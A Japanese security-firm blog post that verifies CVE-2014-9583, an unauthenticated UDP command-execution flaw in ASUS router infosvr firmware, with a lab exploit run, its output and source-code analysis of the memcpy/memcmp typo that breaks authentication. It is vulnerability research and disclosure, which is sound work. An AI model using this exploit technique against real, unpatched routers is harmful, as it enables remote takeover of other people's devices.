スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > AsusWrt-Merlin infosvr RCEの脆弱性(CVE-2014-9583)

タイガーチームセキュリティレポート

AsusWrt-Merlin infosvr RCEの脆弱性(CVE-2014-9583)

今回はAsusWrt-Merlinで見つかったRCE(Remote Code Execution)の脆弱性を検証しました。MerlinはASUS製無線ルータのfirmwareを開発するプロジェクトです。Merlinのfirmwareは最近のすべてのASUS製無線ルータで利用されているようです。

Merlinのfirmwareにはudp broadcastを利用してリモートでコマンド実行する機能があります(ありました)。今回の脆弱性はinfosvrの認証不備により誰でもこの機能を利用できるというものです。既にこの問題を修正したfirmwareが配布されています。


今回はWL-330NULで脆弱性を検証しました。WL-330NULはMerlinが公式にサポートするデバイスには含まれていませんが、WL-330NULのfirmwareでもMerlinと同じcodebaseを利用しているため、今回の脆弱性の検証に利用することができます。

検証に使用したfirmwareのバージョンは3.0.0.35です。最新の3.0.0.37でも同様の結果になるはずです。


早速検証していきますがWL-330NULの場合には1つ注意点があります。WL-330NULでは起動時にinfosvrを起動しないため、そのままでは脆弱ではありません。今回はWL-330NULでtelnetdを立ち上げておいてtelnetのセッションからinfosvrを立ち上げます。

$ telnet 192.168.1.115
Trying 192.168.1.115...
Connected to 192.168.1.115.
Escape character is '^]'.
(none) login: admin
Password: 
login: can't chdir to home directory '/root'
RLX Linux version 2.0
         _           _  _
        | |         | ||_|                 
   _  _ | | _  _    | | _ ____  _   _  _  _ 
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:
http://processor.realtek.com/
/ # nvram show | grep firmver
size: 30534 bytes (35002 left)
firmver=3.0.0.35
/ # 
/ # infosvr wlan0-vxd

infosvrで指定している引数はコマンドの実行結果を返すインタフェース名です。つぎにWL-330NULと同じネットワークからexploitを実行します。ここでは脆弱性を利用してnvramコマンドを実行しています。

$ ./asus-cmd "nvram show | grep firmver"
[*] sent command: nvram show | grep firmver
[!] received 512 bytes from 192.168.1.102:62122
    0c 15 0033 54b3db00 41:41:41:41:41:41 
    0019 nvram show | grep firmver
[!] received 512 bytes from 192.168.1.115:9999
    0c 16 0033 54b3db00 00:22:15:a5:03:00
    01a3 firmver=3.0.0.35

[!] received 512 bytes from 192.168.1.115:9999
    0c 16 0033 54b3db00 00:22:15:a5:03:00
    01a3 firmver=3.0.0.35

[!] received 512 bytes from 192.168.1.115:9999
    0c 16 0033 54b3db00 00:22:15:a5:03:00
    01a3 firmver=3.0.0.35

$ 

想定通り、telnetで実行したのと同じ結果"firmver=3.0.0.35"が返ってきました。検証は成功です


脆弱性の原因を見ていきましょう。infosvrが実装しているプロトコルですが、udpの9999番ポートを使って512 byteのPDU(Protocol Data Unit)で通信をやりとりします。以下はリクエストヘッダの定義です。

126 typedef struct iboxPKT
127 {
128         BYTE            ServiceID;
129         BYTE            PacketType;
130         WORD            OpCode;
131         DWORD           Info; // Or Transaction ID
132 } IBOX_COMM_PKT_HDR;

... snip ...

142 typedef struct iboxPKTEx
143 {
144         BYTE            ServiceID;
145         BYTE            PacketType;
146         WORD            OpCode;
147         DWORD           Info; // Or Transaction ID
148         BYTE            MacAddress[6];
149         BYTE            Password[32];   //NULL terminated string, string length:1~31, cannot be NULL string
150 } IBOX_COMM_PKT_HDR_EX;
iboxcom.h

ここで気にする必要があるのはOpCodeとMacAddressです。OpCodeでinfosvrに要求する処理の種類を指定、MacAddressが認証に使用される"秘密の情報"です。これが平文でブロードキャストされます

今回の問題の原因については既に認証不備と書きましたが、これについては認証機能を意図した通りに実装していたとしても簡単に突破できてしまうものです。実際のコードを鑑賞してみましょう。

下のコードを見ると、infosvrにNET_CMD_ID_GETINFO、NET_CMD_ID_GETINFO_MANU以外の処理を要求するときは認証機能としてMacAddressの値をチェックする設計になっているようです。

222         if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
223         {
224                 phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
225 
226                 // Check Mac Address
227                 if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
228                 {
229                         _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
230                                 (unsigned char)phdr_ex->MacAddress[0],
231                                 (unsigned char)phdr_ex->MacAddress[1],
232                                 (unsigned char)phdr_ex->MacAddress[2],
233                                 (unsigned char)phdr_ex->MacAddress[3],
234                                 (unsigned char)phdr_ex->MacAddress[4],
235                                 (unsigned char)phdr_ex->MacAddress[5]
236                                 );
237                         return NULL;
238                 }
common.c

60 unsigned char mac[6] = { 0x00, 0x0c, 0x6e, 0xbd, 0xf3, 0xc5};
infosvr.c

ここでコールされているmemcpyは明らかにmemcmpのtypoであり、リクエストヘッダで指定したMacAddressの値を固定値00:0c:6e:bd:f3:c5と比較することを意図していることがわかります。ところでこのmemcpyはtrueを返すので認証は常に成功します。

OpCodeの値がNET_CMD_ID_MANU_CMDの場合は認証を突破した後にコマンド実行へと突き進みます。PDUのボディ(=ヘッダ以降)の5 byte目以降がコマンド文字列として解釈されてsystem()に渡されます。

428                 case NET_CMD_ID_MANU_CMD:
429                 {
430                      #define MAXSYSCMD 256
431                      char cmdstr[MAXSYSCMD];
432                      PKT_SYSCMD *syscmd;
433                      PKT_SYSCMD_RES *syscmd_res;
434                      FILE *fp;
435 
436 printf("1. NET_CMD_ID_MANU_CMD:\n");
437 _dprintf("2. NET_CMD_ID_MANU_CMD:\n");
438 fprintf(stderr, "3. NET_CMD_ID_MANU_CMD:\n");
439 
440                      syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));
441                      syscmd_res = (PKT_SYSCMD_RES *)(pdubuf_res+sizeof(IBOX_COMM_PKT_RES_EX));
442 
443                      if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
444                      syscmd->cmd[syscmd->len]=0;
445                      syscmd->len=strlen(syscmd->cmd);
446                      fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
447 #if 0

... snip ...

512 #endif
513                      {
514                         sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
515                         system(cmdstr);
common.c

379 typedef struct iboxPKTCmd
380 {
381         WORD            len;
382         BYTE            cmd[420];
383 } PKT_SYSCMD;           // total 422 bytes
iboxcom.h

コンパイラがtypoを教えてくれなかったために起こった不幸と言えますが、問題は明らかにこの認証を正しく実装したかどうかではなく簡易的な認証のみで保護された非常に危険な機能をネットワーク上に晒してしまった設計上のミスという気がしています。

脆弱性が公開された後、typoの修正に加え、infosvrのコマンド実行の機能がcompile outされました。最新のfirmwareではコマンド実行の機能が利用できません。

今回の脆弱性検証のついでにWL-330NULの脆弱性について少しだけ調査をしてみました。結果、問題であると考えられる点がいくつか見つかったのでIPAに報告しました。いつになるかわかりませんが脆弱性情報が公開されたらこのサイトで紹介します


参考情報:
[1] ASUS Router infosvr UDP Broadcast root Command Execution
https://github.com/jduck/asus-cmd
[2] Networking - WL-330NUL - ASUS
http://www.asus.com/Networking/WL330NUL/


タイガーチームメンバー 塚本 泰三